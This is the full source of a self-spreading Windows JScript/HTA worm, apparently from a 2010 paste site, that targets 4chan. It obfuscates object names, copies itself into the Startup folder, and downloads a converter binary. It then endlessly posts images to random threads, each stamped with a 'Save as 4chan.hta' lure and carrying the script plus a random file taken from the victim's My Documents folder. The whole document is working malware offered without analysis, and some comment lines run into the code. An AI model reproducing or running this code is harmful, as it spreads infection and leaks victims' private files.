Datei #uoxrre99-3479
Hochgeladen von anon - 20/07/2010 22:36 - 84 Zugriffe
Quellcode
//<script id=thisscript>// List of boardsvar dir = "a b c d e g h hr k m o p r s t u v w wg i ic cm y r9k 3 adv an cgl ck co fa fit int jp lit mu n new po sci sp tg toy trv tv vp x".split(" ");
var mfs = [3,2,3,3,3,3,3, 8,3,3,3,5,8,3,3,3,3,4, 4,3, 3, 3,3, 2,3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,3, 3, 8, 3, 3, 3, 3, 8, 3, 3,3];
// Global XMLHttp, shell, and file system objectsvar request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("tcejbOmetsySeliF.gnitpircS".split("").reverse().join(""));
// Creates a random alphanumeric stringeval(
'func'+'tion randomstring(length) {'
+' var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";'
+' var str = "";'
+' for (var i = 0; i < length; i++) {'
+' str = str + choices.charAt( Math.floor(Math.random()*choices.length) );'
+' }'
+' return str;'
+'}'
);
// Gets HTML page or file from URLeval(
'func'+'tion get(url, doretry) {'
+' if (typeof get.modtime == "undefined") get.modtime = [];'
+' var successful = 0;'
+' var tries = 0;'
+' do {'
+' try {'
+' request.open("get", url, 0);'
+' request.setRequestHeader("Accept-Language", "en-us");'
+' if (get.modtime[url]) {'
+' request.setRequestHeader("If-Modified-Since", get.modtime[url]);'
+' }'
+' request.send();'
+' get.modtime[url] = request.getResponseHeader("Last-Modified");'
+' successful = 1;'
+' } catch(e) {}'
+' tries++;'
+' } while (doretry && !successful && tries < 5);'
+' if (!successful) throw("");'
+' if (request.status != 200) throw("");'
+'}'
);
// Downloads binary fileeval(
'func'+'tion download(url) {'
+' get(url);'
+' var stream = new ActiveXObject("Adodb.Stream");'
+' stream.mode = 3;'
+' stream.type = 1;'
+' stream.open();'
+' stream.write(request.responseBody);'
+' return stream;'
+'}'
);
// Gets a thread numbereval(
'func'+'tion getthread(board, page) {'
+' var url = "http://boards.4chan.org/" + dir[board] + "/" + (page || "");'
+' get(url, 1);'
+' var threadlist = request.responseText.match(/<span id="nothread\\d+/g);'
+' return threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\\d+/)[0];'
+'}'
);
// Deletes files producedeval(
'func'+'tion cleanup() {'
+' try {fs.deleteFile("part1");} catch(e) {}'
+' try {fs.deleteFile("part2");} catch(e) {}'
+' try {fs.deleteFile("part3");} catch(e) {}'
+' try {fs.deleteFile("part4");} catch(e) {}'
+' try {fs.deleteFile("part5");} catch(e) {}'
+' try {fs.deleteFile("all");} catch(e) {}'
+'}'
);
// Change to temp directorytry {shell.currentDirectory = fs.getSpecialFolder(2);
} catch(e) {}
// Get a copy of this scriptvar scripttext;
if (typeof WSH == "undefined") {
scripttext = thisscript.innerHTML;
var i = 0;
while (scripttext.charAt(i) == "\n" || scripttext.charAt(i) == "\r") {
i++;}scripttext = scripttext.substr(i);
scripttext = "\r\n\r\n//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
} else {
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
scripttext = thisfile.readAll();
thisfile.close();
}// Copy to startup folder and run from thereif (typeof WSH == "undefined") {
var copyname;
try {copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
} catch(e) {
// Run from temp folder if this failscopyname = "4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
}shell.run("wscript \"" + copyname + "\"", 0, 1);
}if (typeof WSH != "undefined") {
// Download ImageMagickvar imc;
try {imc = download("https://develop.participatoryculture.org/trac/democracy/browser/trunk/dtv-binary-kit/imagemagick/convert.exe?rev=4463&format=raw");
} catch(e) {}
for(;;) {
try {// Select random boardboard = (Math.random() < 0.2) ? 1 : Math.floor( Math.random() * dir.length);
// Get thread from boardvar srcthread = getthread(board, 3 + Math.floor(5*Math.random()));
var srcurl = "http://boards.4chan.org/" + dir[board] + "/res/" + srcthread;
get(srcurl, 1);
var threadHTML = request.responseText;
// Download image from the threadvar immatches = threadHTML.match(/<a href="http:\/\/[a-z]+\.4chan\.org\/[a-z0-9]+\/src\/\d+\.jpg/g);
var immatch = immatches[ Math.floor(Math.random()*immatches.length) ];download(immatch.substr(9)).saveToFile("part4", 2);
// Get commentvar comment = threadHTML.substr(threadHTML.indexOf(immatch)).match(/<blockquote>(.*?)<\/blockquote>/)[0];comment = comment.replace(/<br \/>/g, "\n");
comment = comment.replace(/<[^>]*>/g, "");
comment = comment.replace(/"/g, "\"");
comment = comment.replace(/&/g, "&");
comment = comment.replace(/,/g, ",");
comment = comment.replace(/</g, "<");
comment = comment.replace(/>/g, ">");
comment = comment.split("");
for (var i = 0; i < comment.length - 1; i++) {
if (Math.random() < 0.01) {
var tmp = comment[i];
comment[i] = comment[i+1];
comment[i+1] = tmp;
}}comment = comment.join("");
comment = comment.replace("\n", "\r\n");
// Set thread to post to and name of filevar thread = getthread(board, 0);
var filename = (new Date().getTime() - Math.floor(Math.random()*1e10)) + ".jpg";
// Add message to imagetry {imc.saveToFile("imconvert.exe", 2);
} catch(e) {}
shell.run("imconvert.exe jpeg:part4 -pointsize 36 label:\"Save as\\n4chan.hta\\nShit bricks\" -composite jpeg:part2", 0, 1);
// Set URL to post torequest.open("post", "http://sys.4chan.org/" + dir[board] + "/post", 0);
// Set headersvar bdry = randomstring(20);
request.setRequestHeader("Referer", "http://boards.4chan.org/" + dir[board] + "/res/" + thread);
request.setRequestHeader("Accept-Language", "en-us");
request.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
// Get document from My Documentsvar docname = "";
var docsize = 0;
try {var docpath = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal");
var doclist = fs.getFolder(docpath).files;
if (doclist.count) {
var en = new Enumerator(doclist);
var n = Math.floor(doclist.count * Math.random());
for (var i = 0; i < n; i++) {
en.moveNext();
}var nm = docpath + "\\" + en.item().name;
if (!(fs.getFile(nm).attributes & 2)) {docname = nm;docsize = fs.getFile(docname).size;}}} catch(e) {}// Create non-binary parts of POST datavar head = "--" + bdry + "\r\nContent-Disposition: form-data; name=\"";
var part1 = head + "MAX_FILE_SIZE\"\r\n\r\n" + (mfs[board]*1048576) + "\r\n"
+ head + "resto\"\r\n\r\n" + thread + "\r\n"
+ head + "name\"\r\n\r\n\r\n"
+ head + "email\"\r\n\r\nnoko\r\n"
+ head + "sub\"\r\n\r\n\r\n"
+ head + "com\"\r\n\r\n" + comment + "\r\n"
+ head + "upfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/jpeg\r\n\r\n";
var part1f = fs.openTextFile("part1", 2, 1);
part1f.write(part1);
part1f.close();
var part3 = scripttext + randomstring(100) + "\r\n";
if (docname != "") {
part3 += docname + "\r\nBytes: " + docsize + "\r\n";
}var part3f = fs.openTextFile("part3", 2, 1);
var n = 100 + Math.floor(100 * Math.random());
for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
part3f.write(part3);
var n = 100 + Math.floor(100 * Math.random());
for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
part3f.close();
var part5 = "\r\n"
+ head + "pwd\"\r\n\r\n" + randomstring(8) + "\r\n"
+ head + "mode\"\r\n\r\nregist\r\n"
+ "--" + bdry + "--\r\n";
var part5f = fs.openTextFile("part5", 2, 1);
part5f.write(part5);
part5f.close();
// Check that all parts existif (!fs.fileExists("part1") || !fs.fileExists("part2") || !fs.fileExists("part3") || !fs.fileExists("part4") || !fs.fileExists("part5")) {
throw("");
}// Combine parts and read inshell.run("cmd /c copy /b part1 + part2 + part3" + ((docname=="")?(""):(" + \""+docname+"\"")) + " + part4 + part5 all", 0, 1);
var stream = new ActiveXObject("Adodb.Stream");
stream.mode = 3;
stream.type = 1;
stream.open();
stream.loadFromFile("all");
// Delete files producedcleanup();
// Post filerequest.send(stream);
} catch(e) {
cleanup();
}}}
